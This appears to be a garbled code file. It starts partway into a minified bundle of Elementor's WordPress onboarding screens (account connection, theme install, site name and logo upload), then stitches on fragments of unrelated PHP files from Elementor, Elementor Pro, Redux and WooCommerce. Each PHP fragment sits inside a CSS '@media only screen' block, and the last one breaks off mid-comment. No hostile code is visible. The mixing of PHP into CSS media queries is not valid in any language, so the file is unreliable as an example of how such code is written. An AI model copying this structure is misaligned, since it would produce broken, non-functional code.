o}(n(87363)),l=r(n(93231)),c=r(n(40131));function _getRequireWildcardCache(e){if("function"!=typeof WeakMap)return null;var t=new WeakMap,n=new WeakMap;return(_getRequireWildcardCache=function _getRequireWildcardCache(e){return e?n:t})(e)}function ownKeys(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);t&&(o=o.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,o)}return n}function _objectSpread(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?ownKeys(Object(n),!0).forEach((function(t){(0,l.default)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):ownKeys(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}var u=(0,i.createContext)({});function ContextProvider(e){var t=elementorAppConfig.onboarding,n={hasPro:elementorAppConfig.hasPro,isLibraryConnected:t.isLibraryConnected,isHelloThemeInstalled:t.helloInstalled,isHelloThemeActivated:t.helloActivated,siteName:t.siteName,siteLogo:t.siteLogo,proNotice:"",currentStep:"",nextStep:"",steps:{account:!1,hello:!1,siteName:!1,siteLogo:!1,goodToGo:!1}},o=(0,i.useState)(n),r=(0,c.default)(o,2),a=r[0],l=r[1],s=(0,i.useCallback)((function(e){l((function(t){return _objectSpread(_objectSpread({},t),e)}))}),[l]);return i.default.createElement(u.Provider,{value:{state:a,setState:l,updateState:s,getStateObjectToUpdate:function getStateObjectToUpdate(e,t,n,o){var r=JSON.parse(JSON.stringify(e));return r[t][n]=o,r}}},e.children)}t.OnboardingContext=u,ContextProvider.propTypes={children:o.any}},84802:(e,t,n)=>{var o=n(38003).__,r=n(73203),a=n(7501);Object.defineProperty(t,"__esModule",{value:!0}),t.default=function Account(){var e,t=(0,i.useContext)(u.OnboardingContext),n=t.state,r=t.updateState,a=t.getStateObjectToUpdate,f=(0,i.useState)(null),m=(0,l.default)(f,2),g=m[0],v=m[1],b=(0,c.useNavigate)(),_="account",h=n.isHelloThemeActivated?"siteName":"hello",y=(0,i.useRef)(),C=(0,i.useRef)();"completed"!==n.steps.account&&(e={text:o("Skip","elementor")});var E={};E=n.isLibraryConnected?{firstLine:o("To get the most out of Elementor, we'll help you take your first steps:","elementor"),listItems:[o("Set your site's theme","elementor"),o("Give your site a name & logo","elementor"),o("Choose how to start creating","elementor")]}:{firstLine:o("To get the most out of Elementor, we’ll connect your account.","elementor")+" "+o("Then you can:","elementor"),listItems:[o("Choose from countless professional templates","elementor"),o("Manage your site with our handy dashboard","elementor"),o("Take part in the community forum, share & grow together","elementor")]};var O={role:"button"};n.isLibraryConnected?(O.text=o("Let’s do it","elementor"),O.onClick=function(){elementorCommon.events.dispatchEvent({event:"next",version:"",details:{placement:elementorAppConfig.onboarding.eventPlacement,step:n.currentStep}}),r(a(n,"steps",_,"completed")),b("onboarding/"+h)}):(O.text=o("Create my account","elementor"),O.href=elementorAppConfig.onboarding.urls.signUp+elementorAppConfig.onboarding.utms.connectCta,O.ref=y,O.onClick=function(){elementorCommon.events.dispatchEvent({event:"create account",version:"",details:{placement:elementorAppConfig.onboarding.eventPlacement,source:"cta"}})});var P=function connectSuccessCallback(e){var t=a(n,"steps",_,"completed");t.isLibraryConnected=!0,elementorCommon.config.library_connect.is_connected=!0,elementorCommon.config.library_connect.current_access_level=e.kits_access_level||e.access_level||0,r(t),elementorCommon.events.dispatchEvent({event:"indication prompt",version:"",details:{placement:elementorAppConfig.onboarding.eventPlacement,step:n.currentStep,action_state:"success",action:"connect account"}}),v({type:"success",icon:"eicon-check-circle-o",message:"Alrighty - your account is connected."}),b("onboarding/"+h)},k=function connectFailureCallback(){elementorCommon.events.dispatchEvent({event:"indication prompt",version:"",details:{placement:elementorAppConfig.onboarding.eventPlacement,step:n.currentStep,action_state:"failure",action:"connect account"}}),v({type:"error",icon:"eicon-warning",message:o("Oops, the connection failed. Try again.","elementor")}),b("onboarding/"+h)};return i.default.createElement(d.default,{pageId:_,nextStep:h},i.default.createElement(p.default,{image:elementorCommon.config.urls.assets+"images/app/onboarding/Illustration_Account.svg",title:o("You're here! Let's set things up.","elementor"),actionButton:O,skipButton:e,noticeState:g},O.ref&&!n.isLibraryConnected&&i.default.createElement(s.default,{buttonRef:O.ref,successCallback:function successCallback(e){return P(e)},errorCallback:k}),i.default.createElement("span",null,E.firstLine),i.default.createElement("ul",null,E.listItems.map((function(e,t){return i.default.createElement("li",{key:"listItem"+t},e)})))),!n.isLibraryConnected&&i.default.createElement("div",{className:"e-onboarding__footnote"},i.default.createElement("p",null,o("Already have one?","elementor")+" ",i.default.createElement("a",{ref:C,href:elementorAppConfig.onboarding.urls.connect+elementorAppConfig.onboarding.utms.connectCtaLink,onClick:function onClick(){elementorCommon.events.dispatchEvent({event:"connect account",version:"",details:{placement:elementorAppConfig.onboarding.eventPlacement}})}},o("Connect your account","elementor"))),i.default.createElement(s.default,{buttonRef:C,successCallback:P,errorCallback:k})))};var i=function _interopRequireWildcard(e,t){if(!t&&e&&e.__esModule)return e;if(null===e||"object"!==a(e)&&"function"!=typeof e)return{default:e};var n=_getRequireWildcardCache(t);if(n&&n.has(e))return n.get(e);var o={},r=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var i in e)if("default"!==i&&Object.prototype.hasOwnProperty.call(e,i)){var l=r?Object.getOwnPropertyDescriptor(e,i):null;l&&(l.get||l.set)?Object.defineProperty(o,i,l):o[i]=e[i]}o.default=e,n&&n.set(e,o);return o}(n(87363)),l=r(n(40131)),c=n(50927),u=n(73185),s=r(n(17726)),d=r(n(84474)),p=r(n(60627));function _getRequireWildcardCache(e){if("function"!=typeof WeakMap)return null;var t=new WeakMap,n=new WeakMap;return(_getRequireWildcardCache=function _getRequireWildcardCache(e){return e?n:t})(e)}},62177:(e,t,n)=>{var o=n(38003).__,r=n(73203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=function GoodToGo(){var e={text:o("Skip","elementor"),href:elementorAppConfig.onboarding.urls.createNewPage},t=elementorAppConfig.onboarding.urls.kitLibrary+"&referrer=onboarding";return a.default.createElement(l.default,{pageId:"goodToGo"},a.default.createElement("h1",{className:"e-onboarding__page-content-section-title"},o("That's a wrap! What's next?","elementor")),a.default.createElement("div",{className:"e-onboarding__page-content-section-text"},o("There are two ways to get started with Elementor:","elementor")),a.default.createElement(i.default,{container:!0,alignItems:"center",justify:"space-between",className:"e-onboarding__cards-grid e-onboarding__page-content"},a.default.createElement(c.default,{name:"blank",image:elementorCommon.config.urls.assets+"images/app/onboarding/Blank_Canvas.svg",imageAlt:o("Click here to create a new page and open it in Elementor Editor","elementor"),text:o("Edit a blank canvas with the Elementor Editor","elementor"),link:elementorAppConfig.onboarding.urls.createNewPage}),a.default.createElement(c.default,{name:"template",image:elementorCommon.config.urls.assets+"images/app/onboarding/Library.svg",imageAlt:o("Click here to go to Elementor's Kit Library","elementor"),text:o("Browse from +100 templates or import your own","elementor"),link:t,clickAction:function clickAction(){location.href=t,location.reload()}})),a.default.createElement(u.default,{skipButton:e,className:"e-onboarding__good-to-go-footer"}))};var a=r(n(87363)),i=r(n(57390)),l=r(n(84474)),c=r(n(70343)),u=r(n(16694))},45050:(e,t,n)=>{var o=n(38003).__,r=n(73203),a=n(7501);Object.defineProperty(t,"__esModule",{value:!0}),t.default=function HelloTheme(){var e=(0,i.useContext)(c.OnboardingContext),t=e.state,n=e.updateState,r=e.getStateObjectToUpdate,a=(0,s.default)(),f=a.ajaxState,m=a.setAjax,g=(0,i.useState)(!1),v=(0,l.default)(g,2),b=v[0],_=v[1],h=(0,i.useState)(!1),y=(0,l.default)(h,2),C=y[0],E=y[1],O={type:"success",icon:"eicon-check-circle-o",message:o("Your site’s got Hello theme. High-five!","elementor")},P=(0,i.useState)(t.isHelloThemeActivated?O:null),k=(0,l.default)(P,2),w=k[0],j=k[1],S=(0,i.useState)([]),N=(0,l.default)(S,2),x=N[0],W=N[1],R=t.isHelloThemeActivated?o("Next","elementor"):o("Continue with Hello Theme","elementor"),T=(0,i.useState)(R),A=(0,l.default)(T,2),M=A[0],q=A[1],L=(0,u.useNavigate)(),D="hello",I="siteName",B=function goToNextScreen(){return L("onboarding/siteName")};(0,i.useEffect)((function(){if(!b&&t.isHelloThemeActivated){var e=r(t,"steps",D,"completed");n(e),B()}}),[]);var H,U=function resetScreenContent(){x.forEach((function(e){return clearTimeout(e)})),W([]),E(!1),q(R)},G=(0,i.useCallback)((function(){E(!1),elementorCommon.events.dispatchEvent({event:"indication prompt",version:"",details:{placement:elementorAppConfig.onboarding.eventPlacement,step:t.currentStep,action_state:"success",action:"hello theme activation"}}),j(O),q(o("Next","elementor"));var e=r(t,"steps",D,"completed");e.isHelloThemeActivated=!0,n(e),_(!0),B()}),[]),F=function activateHelloTheme(){E(!0),n({isHelloThemeInstalled:!0}),m({data:{action:"elementor_activate_hello_theme"}})},z=function installHelloTheme(){C||E(!0),wp.updates.ajax("install-theme",{slug:"hello-elementor",success:function success(){return F()},error:function error(){return function onErrorInstallHelloTheme(){elementorCommon.events.dispatchEvent({event:"indication prompt",version:"",details:{placement:elementorAppConfig.onboarding.eventPlacement,step:t.currentStep,action_state:"failure",action:"hello theme install"}}),j({type:"error",icon:"eicon-warning",message:o("There was a problem installing Hello Theme.","elementor")}),U()}()}})},V=function sendNextButtonEvent(){elementorCommon.events.dispatchEvent({event:"next",version:"",details:{placement:elementorAppConfig.onboarding.eventPlacement,step:t.currentStep}})},J={text:M,role:"button"};C&&(J.className="e-onboarding__button--processing");t.isHelloThemeActivated?J.onClick=function(){V(),B()}:J.onClick=function(){V(),t.isHelloThemeInstalled&&!t.isHelloThemeActivated?F():t.isHelloThemeInstalled?B():z()};"completed"!==t.steps.hello&&(H={text:o("Skip","elementor")});return(0,i.useEffect)((function(){C&&q(i.default.createElement(i.default.Fragment,null,i.default.createElement("i",{className:"eicon-loading eicon-animation-spin","aria-hidden":"true"})));var e=[],t=setTimeout((function(){C&&q(i.default.createElement(i.default.Fragment,null,i.default.createElement("i",{className:"eicon-loading eicon-animation-spin","aria-hidden":"true"}),i.default.createElement("span",{className:"e-onboarding__action-button-text"},o("Hold on, this can take a minute...","elementor"))))}),4e3);e.push(t);var n=setTimeout((function(){C&&q(i.default.createElement(i.default.Fragment,null,i.default.createElement("i",{className:"eicon-loading eicon-animation-spin","aria-hidden":"true"}),i.default.createElement("span",{className:"e-onboarding__action-button-text"},o("Okay, now we're really close...","elementor"))))}),3e4);e.push(n),W(e)}),[C]),(0,i.useEffect)((function(){var e;"initial"!==f.status&&("success"===f.status&&null!==(e=f.response)&&void 0!==e&&e.helloThemeActivated?G():"error"===f.status&&(elementorCommon.events.dispatchEvent({event:"indication prompt",version:"",details:{placement:elementorAppConfig.onboarding.eventPlacement,step:t.currentStep,action_state:"failure",action:"hello theme activation"}}),j({type:"error",icon:"eicon-warning",message:o("There was a problem activating Hello Theme.","elementor")}),U()))}),[f.status]),i.default.createElement(d.default,{pageId:D,nextStep:I},i.default.createElement(p.default,{image:elementorCommon.config.urls.assets+"images/app/onboarding/Illustration_Hello.svg",title:o("Every site starts with a theme.","elementor"),actionButton:J,skipButton:H,noticeState:w},i.default.createElement("p",null,o("Hello is Elementor's official blank canvas theme optimized to build your website exactly the way you want.","elementor")),i.default.createElement("p",null,o("Here's why:","elementor")),i.default.createElement("ul",{className:"e-onboarding__feature-list"},i.default.createElement("li",null,o("Light-weight and fast loading","elementor")),i.default.createElement("li",null,o("Great for SEO","elementor")),i.default.createElement("li",null,o("Already being used by 1M+ web creators","elementor")))),i.default.createElement("div",{className:"e-onboarding__footnote"},"* "+o("You can switch your theme later on","elementor")))};var i=function _interopRequireWildcard(e,t){if(!t&&e&&e.__esModule)return e;if(null===e||"object"!==a(e)&&"function"!=typeof e)return{default:e};var n=_getRequireWildcardCache(t);if(n&&n.has(e))return n.get(e);var o={},r=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var i in e)if("default"!==i&&Object.prototype.hasOwnProperty.call(e,i)){var l=r?Object.getOwnPropertyDescriptor(e,i):null;l&&(l.get||l.set)?Object.defineProperty(o,i,l):o[i]=e[i]}o.default=e,n&&n.set(e,o);return o}(n(87363)),l=r(n(40131)),c=n(73185),u=n(50927),s=r(n(51432)),d=r(n(84474)),p=r(n(60627));function _getRequireWildcardCache(e){if("function"!=typeof WeakMap)return null;var t=new WeakMap,n=new WeakMap;return(_getRequireWildcardCache=function _getRequireWildcardCache(e){return e?n:t})(e)}},93679:(e,t,n)=>{var o=n(38003).__,r=n(73203),a=n(7501);Object.defineProperty(t,"__esModule",{value:!0}),t.default=function SiteLogo(){var e,t=(0,i.useContext)(c.OnboardingContext),n=t.state,r=t.updateState,a=t.getStateObjectToUpdate,g=(0,i.useState)(n.siteLogo.id?n.siteLogo:null),v=(0,l.default)(g,2),b=v[0],_=v[1],h=(0,i.useState)(!1),y=(0,l.default)(h,2),C=y[0],E=y[1],O=(0,i.useState)(!1),P=(0,l.default)(O,2),k=P[0],w=P[1],j=(0,i.useState)(),S=(0,l.default)(j,2),N=S[0],x=S[1],W=(0,i.useState)(null),R=(0,l.default)(W,2),T=R[0],A=R[1],M=(0,s.default)(),q=M.ajaxState,L=M.setAjax,D=(0,s.default)(),I=D.ajaxState,B=D.setAjax,H="siteLogo",U="goodToGo",G=(0,u.useNavigate)(),F={role:"button",onClick:function onClick(){if(elementorCommon.events.dispatchEvent({event:"next",version:"",details:{placement:elementorAppConfig.onboarding.eventPlacement,step:n.currentStep}}),b.id)if(b.id!==n.siteLogo.id)z();else{var e=a(n,"steps",H,"completed");r(e),G("onboarding/goodToGo")}}};"completed"!==n.steps[H]&&(e={text:o("Skip","elementor")});F.text=C?i.default.createElement(i.default.Fragment,null,i.default.createElement("i",{className:"eicon-loading eicon-animation-spin","aria-hidden":"true"})):o("Next","elementor");b||(F.className="e-onboarding__button--disabled");var z=(0,i.useCallback)((function(){E(!0),L({data:{action:"elementor_update_site_logo",data:JSON.stringify({attachmentId:b.id})}})}),[b]),V=function uploadSiteLogo(e){E(!0),B({data:{action:"elementor_upload_site_logo",fileToUpload:e}})},J=function dismissUnfilteredFilesCallback(){E(!1),_(null),w(!1)};return(0,i.useEffect)((function(){var e,t;"initial"!==I.status&&("success"===I.status&&null!==(e=I.response)&&void 0!==e&&null!==(t=e.imageAttachment)&&void 0!==t&&t.id?(elementorCommon.events.dispatchEvent({event:"logo image uploaded",version:"",details:{placement:elementorAppConfig.onboarding.eventPlacement,source:N}}),E(!1),_(I.response.imageAttachment),T&&A(null)):"error"===I.status&&(E(!1),_(null),elementorCommon.events.dispatchEvent({event:"indication prompt",version:"",details:{placement:elementorAppConfig.onboarding.eventPlacement,action_state:"failure",action:"logo image upload"}}),A({type:"error",icon:"eicon-warning",message:"That didn't work. Try uploading your file again."})))}),[I.status]),(0,i.useEffect)((function(){var e;if("initial"!==q.status)if("success"===q.status&&null!==(e=q.response)&&void 0!==e&&e.siteLogoUpdated){elementorCommon.events.dispatchEvent({event:"logo image updated",version:"",details:{placement:elementorAppConfig.onboarding.eventPlacement,source:N}}),E(!1),T&&A(null);var t=a(n,"steps",H,"completed");t.siteLogo={id:b.id,url:b.url},r(t),G("onboarding/goodToGo")}else"error"===q.status&&(E(!1),elementorCommon.events.dispatchEvent({event:"indication prompt",version:"",details:{placement:elementorAppConfig.onboarding.eventPlacement,step:n.currentStep,action_state:"failure",action:"update site logo"}}),A({type:"error",icon:"eicon-warning",message:"That didn't work. Try uploading your file again."}))}),[q.status]),i.default.createElement(f.default,{pageId:H,nextStep:U},i.default.createElement(m.default,{image:elementorCommon.config.urls.assets+"images/app/onboarding/Illustration_Setup.svg",title:o("Have a logo? Add it here.","elementor"),actionButton:F,skipButton:e,noticeState:T},i.default.createElement("span",null,o("Otherwise, you can skip this and add one later.","elementor")),b&&!k?i.default.createElement("div",{className:"e-onboarding__logo-container"+(C?" e-onboarding__is-uploading":"")},i.default.createElement("div",{className:"e-onboarding__logo-remove",onClick:function onClick(){return function onImageRemoveClick(){elementorCommon.events.dispatchEvent({event:"remove selected logo",version:"",details:{placement:elementorAppConfig.onboarding.eventPlacement}}),_(null)}()}},i.default.createElement("i",{className:"eicon-trash-o"})),i.default.createElement("img",{src:b.url,alt:o("Potential Site Logo","elementor")})):i.default.createElement(i.default.Fragment,null,i.default.createElement(d.default,{className:"e-onboarding__drop-zone",heading:o("Drop image here","elementor"),secondaryText:o("or","elementor"),buttonText:o("Open Media Library","elementor"),buttonVariant:"outlined",buttonColor:"cta",icon:"",type:"wp-media",filetypes:["jpg","jpeg","png","svg"],onFileSelect:function onFileSelect(e){return function onFileSelect(e){x("drop"),"image/svg+xml"!==e.type||elementorAppConfig.onboarding.isUnfilteredFilesEnabled?(_(e),A(null),V(e)):(_(e),E(!0),w(!0))}(e)},onWpMediaSelect:function onWpMediaSelect(e){var t=e.state().get("selection").first().toJSON();x("browse"),_(t),A(null)},onButtonClick:function onButtonClick(){elementorCommon.events.dispatchEvent({event:"browse file click",version:"",details:{placement:elementorAppConfig.onboarding.eventPlacement,step:n.currentStep}})},onError:function onError(e){"file_not_allowed"===e.id&&(elementorCommon.events.dispatchEvent({event:"indication prompt",version:"",details:{placement:elementorAppConfig.onboarding.eventPlacement,step:n.currentStep,action_state:"failure",action:"logo upload format"}}),A({type:"error",icon:"eicon-warning",message:o("This file type is not supported. Try a different type of file","elementor")}))}})),i.default.createElement(p.default,{show:k,setShow:w,confirmModalText:o("This allows Elementor to scan your SVGs for malicious content. If you do not wish to allow this, use a different image format.","elementor"),errorModalText:o("There was a problem with enabling SVG uploads. Try again, or use another image format.","elementor"),onReady:function onReady(){w(!1),elementorAppConfig.onboarding.isUnfilteredFilesEnabled=!0,V(b)},onDismiss:function onDismiss(){return J()},onCancel:function onCancel(){return J()}})))};var i=function _interopRequireWildcard(e,t){if(!t&&e&&e.__esModule)return e;if(null===e||"object"!==a(e)&&"function"!=typeof e)return{default:e};var n=_getRequireWildcardCache(t);if(n&&n.has(e))return n.get(e);var o={},r=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var i in e)if("default"!==i&&Object.prototype.hasOwnProperty.call(e,i)){var l=r?Object.getOwnPropertyDescriptor(e,i):null;l&&(l.get||l.set)?Object.defineProperty(o,i,l):o[i]=e[i]}o.default=e,n&&n.set(e,o);return o}(n(87363)),l=r(n(40131)),c=n(73185),u=n(50927),s=r(n(51432)),d=r(n(20857)),p=r(n(72144)),f=r(n(84474)),m=r(n(60627));function _getRequireWildcardCache(e){if("function"!=typeof WeakMap)return null;var t=new WeakMap,n=new WeakMap;return(_getRequireWildcardCache=function _getRequireWildcardCache(e){return e?n:t})(e)}},50030:(e,t,n)=>{var o=n(38003).__,r=n(73203),a=n(7501);Object.defineProperty(t,"__esModule",{value:!0}),t.default=function SiteName(){var e,t=(0,i.useContext)(c.OnboardingContext),n=t.state,r=t.updateState,a=t.getStateObjectToUpdate,f=(0,s.default)(),m=f.ajaxState,g=f.setAjax,v=(0,i.useState)(null),b=(0,l.default)(v,2),_=b[0],h=b[1],y=(0,i.useState)(n.siteName),C=(0,l.default)(y,2),E=C[0],O=C[1],P="siteName",k="siteLogo",w=(0,u.useNavigate)(),j=(0,i.useRef)(),S={text:o("Next","elementor"),onClick:function onClick(){if(elementorCommon.events.dispatchEvent({event:"next",version:"",details:{placement:elementorAppConfig.onboarding.eventPlacement,step:n.currentStep}}),j.current.value!==n.siteName&&""!==j.current.value)g({data:{action:"elementor_update_site_name",data:JSON.stringify({siteName:j.current.value})}});else if(j.current.value===n.siteName){var e=a(n,"steps",P,"completed");r(e),w("onboarding/siteLogo")}else{var t=a(n,"steps",P,"skipped");r(t),w("onboarding/siteLogo")}}};"completed"!==n.steps[P]&&(e={text:o("Skip","elementor")});E||(S.className="e-onboarding__button--disabled");return(0,i.useEffect)((function(){var e;if("initial"!==m.status)if("success"===m.status&&null!==(e=m.response)&&void 0!==e&&e.siteNameUpdated){var t=a(n,"steps",P,"completed");t.siteName=j.current.value,r(t),w("onboarding/siteLogo")}else"error"===m.status&&(elementorCommon.events.dispatchEvent({event:"indication prompt",version:"",details:{placement:elementorAppConfig.onboarding.eventPlacement,step:n.currentStep,action_state:"failure",action:"site name update"}}),h({type:"error",icon:"eicon-warning",message:o("Sorry, the name wasn't saved. Try again, or skip for now.","elementor")}))}),[m.status]),i.default.createElement(d.default,{pageId:P,nextStep:k},i.default.createElement(p.default,{image:elementorCommon.config.urls.assets+"images/app/onboarding/Illustration_Setup.svg",title:o("Now, let's give your site a name.","elementor"),actionButton:S,skipButton:e,noticeState:_},i.default.createElement("p",null,o("This is what your site is called on the WP dashboard, and can be changed later from the general settings - it's not your website's URL.","elementor")),i.default.createElement("input",{className:"e-onboarding__text-input e-onboarding__site-name-input",type:"text",placeholder:"e.g. Eric's Space Shuttles",defaultValue:n.siteName||"",ref:j,onChange:function onChange(e){return O(e.target.value)}})))};var i=function _interopRequireWildcard(e,t){if(!t&&e&&e.__esModule)return e;if(null===e||"object"!==a(e)&&"function"!=typeof e)return{default:e};var n=_getRequireWildcardCache(t);if(n&&n.has(e))return n.get(e);var o={},r=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var i in e)if("default"!==i&&Object.prototype.hasOwnProperty.call(e,i)){var l=r?Object.getOwnPropertyDescriptor(e,i):null;l&&(l.get||l.set)?Object.defineProperty(o,i,l):o[i]=e[i]}o.default=e,n&&n.set(e,o);return o}(n(87363)),l=r(n(40131)),c=n(73185),u=n(50927),s=r(n(51432)),d=r(n(84474)),p=r(n(60627));function _getRequireWildcardCache(e){if("function"!=typeof WeakMap)return null;var t=new WeakMap,n=new WeakMap;return(_getRequireWildcardCache=function _getRequireWildcardCache(e){return e?n:t})(e)}},93484:(e,t,n)=>{var o=n(38003).__,r=n(73203),a=n(7501);Object.defineProperty(t,"__esModule",{value:!0}),t.default=function UploadAndInstallPro(){(0,u.default)({title:o("Upload and Install Elementor Pro","elementor")});var e=(0,i.useContext)(f.OnboardingContext).state,t=(0,c.default)(),n=t.ajaxState,r=t.setAjax,a=(0,i.useState)(null),g=(0,l.default)(a,2),v=g[0],b=g[1],_=(0,i.useState)(!1),h=(0,l.default)(_,2),y=h[0],C=h[1],E=(0,i.useState)(),O=(0,l.default)(E,2),P=O[0],k=O[1],w=(0,i.useCallback)((function(e){C(!0),r({data:{action:"elementor_upload_and_install_pro",fileToUpload:e}})}),[]),j=function setErrorNotice(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:null,n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"upload",o=(null==t?void 0:t.message)||"That didn't work. Try uploading your file again.";elementorCommon.events.dispatchEvent({event:"indication prompt",version:"",details:{placement:elementorAppConfig.onboarding.eventPlacement,step:e.currentStep,action_state:"failure",action:n+" pro",source:P}}),b({type:"error",icon:"eicon-warning",message:o})};(0,i.useEffect)((function(){var t;"initial"!==n.status&&(C(!1),"success"===n.status&&null!==(t=n.response)&&void 0!==t&&t.elementorProInstalled?(elementorCommon.events.dispatchEvent({event:"pro uploaded",version:"",details:{placement:elementorAppConfig.onboarding.eventPlacement,step:e.currentStep,source:P}}),opener&&opener!==window&&(opener.jQuery("body").trigger("elementor/upload-and-install-pro/success"),window.close(),opener.focus())):"error"===n.status&&j("install"))}),[n.status]);if(y)return i.default.createElement(m.default,{loadingText:o("Uploading","elementor")});return i.default.createElement("div",{className:"eps-app e-onboarding__upload-pro"},i.default.createElement(s.default,null,i.default.createElement(d.default,{className:"e-onboarding__upload-pro-drop-zone",onFileSelect:function onFileSelect(e,t,n){k(n),w(e)},onError:function onError(e){return j(e,"upload")},filetypes:["zip"],buttonColor:"cta",buttonVariant:"contained",heading:o("Import your Elementor Pro plugin file","elementor"),text:o("Drag & Drop your .zip file here","elementor"),secondaryText:o("or","elementor"),buttonText:o("Browse","elementor")}),v&&i.default.createElement(p.default,{noticeState:v}),i.default.createElement("div",{className:"e-onboarding__upload-pro-get-file"},o("Don't know where to get the file from?","elementor")+" ",i.default.createElement("a",{onClick:function onClick(){return function onProUploadHelpLinkClick(){elementorCommon.events.dispatchEvent({event:"pro plugin upload help",version:"",details:{placement:elementorAppConfig.onboarding.eventPlacement,step:e.currentStep}})}()},href:"https://my.elementor.com/subscriptions/"+elementorAppConfig.onboarding.utms.downloadPro,target:"_blank"},o("Click here","elementor")))))};var i=function _interopRequireWildcard(e,t){if(!t&&e&&e.__esModule)return e;if(null===e||"object"!==a(e)&&"function"!=typeof e)return{default:e};var n=_getRequireWildcardCache(t);if(n&&n.has(e))return n.get(e);var o={},r=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var i in e)if("default"!==i&&Object.prototype.hasOwnProperty.call(e,i)){var l=r?Object.getOwnPropertyDescriptor(e,i):null;l&&(l.get||l.set)?Object.defineProperty(o,i,l):o[i]=e[i]}o.default=e,n&&n.set(e,o);return o}(n(87363)),l=r(n(40131)),c=r(n(51432)),u=r(n(4801)),s=r(n(32161)),d=r(n(20857)),p=r(n(48228)),f=n(73185),m=r(n(13329));function _getRequireWildcardCache(e){if("function"!=typeof WeakMap)return null;var t=new WeakMap,n=new WeakMap;return(_getRequireWildcardCache=function _getRequireWildcardCache(e){return e?n:t})(e)}},17726:(e,t,n)=>{var o=n(23615);Object.defineProperty(t,"__esModule",{value:!0}),t.default=Connect;var r=n(87363),a=n(73185);function Connect(e){var t=(0,r.useContext)(a.OnboardingContext),n=t.state,o=t.updateState,i=t.getStateObjectToUpdate;return(0,r.useEffect)((function(){jQuery(e.buttonRef.current).elementorConnect({success:function success(t){return e.successCallback?e.successCallback(t):function connectSuccessCallback(e){var t=i(n,"steps","account","completed");elementorCommon.config.library_connect.is_connected=!0,elementorCommon.config.library_connect.current_access_level=e.kits_access_level||e.access_level||0,t.isLibraryConnected=!0,o(t)}(t)},error:function error(){e.errorCallback&&e.errorCallback()},popup:{width:726,height:534}})}),[]),null}Connect.propTypes={buttonRef:o.object.isRequired,successCallback:o.func,errorCallback:o.func}}}]);}@media only screen and (max-width: 800px){<?php
namespace Elementor\Core\Common\Modules\Finder\Categories;

use Elementor\Core\Common\Modules\Finder\Base_Category;
use Elementor\Core\RoleManager\Role_Manager;
use Elementor\Plugin;
use Elementor\TemplateLibrary\Source_Local;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

/**
 * General Category
 *
 * Provides general items related to Elementor Admin.
 */
class General extends Base_Category {

	/**
	 * Get title.
	 *
	 * @since 2.3.0
	 * @access public
	 *
	 * @return string
	 */
	public function get_title() {
		return esc_html__( 'General', 'elementor' );
	}

	public function get_id() {
		return 'general';
	}

	/**
	 * Get category items.
	 *
	 * @since 2.3.0
	 * @access public
	 *
	 * @param array $options
	 *
	 * @return array
	 */
	public function get_category_items( array $options = [] ) {
		return [
			'saved-templates' => [
				'title' => _x( 'Saved Templates', 'Template Library', 'elementor' ),
				'icon' => 'library-save',
				'url' => Source_Local::get_admin_url(),
				'keywords' => [ 'template', 'section', 'page', 'library' ],
			],
			'system-info' => [
				'title' => esc_html__( 'System Info', 'elementor' ),
				'icon' => 'info-circle-o',
				'url' => admin_url( 'admin.php?page=elementor-system-info' ),
				'keywords' => [ 'system', 'info', 'environment', 'elementor' ],
			],
			'role-manager' => [
				'title' => esc_html__( 'Role Manager', 'elementor' ),
				'icon' => 'person',
				'url' => Role_Manager::get_url(),
				'keywords' => [ 'role', 'manager', 'user', 'elementor' ],
			],
			'knowledge-base' => [
				'title' => esc_html__( 'Knowledge Base', 'elementor' ),
				'url' => admin_url( 'admin.php?page=go_knowledge_base_site' ),
				'keywords' => [ 'help', 'knowledge', 'docs', 'elementor' ],
			],
			'theme-builder' => [
				'title' => esc_html__( 'Theme Builder', 'elementor' ),
				'icon' => 'library-save',
				'url' => Plugin::$instance->app->get_settings( 'menu_url' ),
				'keywords' => [ 'template', 'header', 'footer', 'single', 'archive', 'search', '404', 'library' ],
			],
			'kit-library' => [
				'title' => esc_html__( 'Kit Library', 'elementor' ),
				'icon' => 'kit-parts',
				'url' => Plugin::$instance->app->get_base_url() . '#/kit-library',
				'keywords' => [ 'kit library', 'kit', 'library', 'site parts', 'parts', 'assets', 'templates' ],
			],
		];
	}
}
}@media only screen and (max-width: 640px){<?php
namespace ElementorPro\Modules\AssetsManager;

use ElementorPro\Base\Module_Base;
use ElementorPro\Modules\AssetsManager\AssetTypes;
use ElementorPro\Plugin;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

class Module extends Module_Base {

	private $asset_managers = [];

	public function get_name() {
		return 'assets-manager';
	}

	public function add_asset_manager( $name, $instance ) {
		$this->asset_managers[ $name ] = $instance;
	}

	public function get_assets_manager( $id = null ) {
		if ( $id ) {
			if ( ! isset( $this->asset_managers[ $id ] ) ) {
				return null;
			}

			return $this->asset_managers[ $id ];
		}

		return $this->asset_managers;
	}

	/**
	 * @deprecated 3.1.0
	 */
	public function localize_settings() {
		Plugin::elementor()->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.1.0' );

		return [];
	}

	public function __construct() {
		parent::__construct();

		$this->add_asset_manager( 'font', new AssetTypes\Fonts_Manager() );
		$this->add_asset_manager( 'icon', new AssetTypes\Icons_Manager() );
	}
}
}@media only screen and (max-width: 800px){<?php
/**
 * Silence is golden.
 *
 * @package Redux Framework
 */

echo null;
}@media only screen and (max-width: 640px){<?php
/**
 * Taxes by tax code report.
 *
 * @package     WooCommerce\Admin\Reports
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

/**
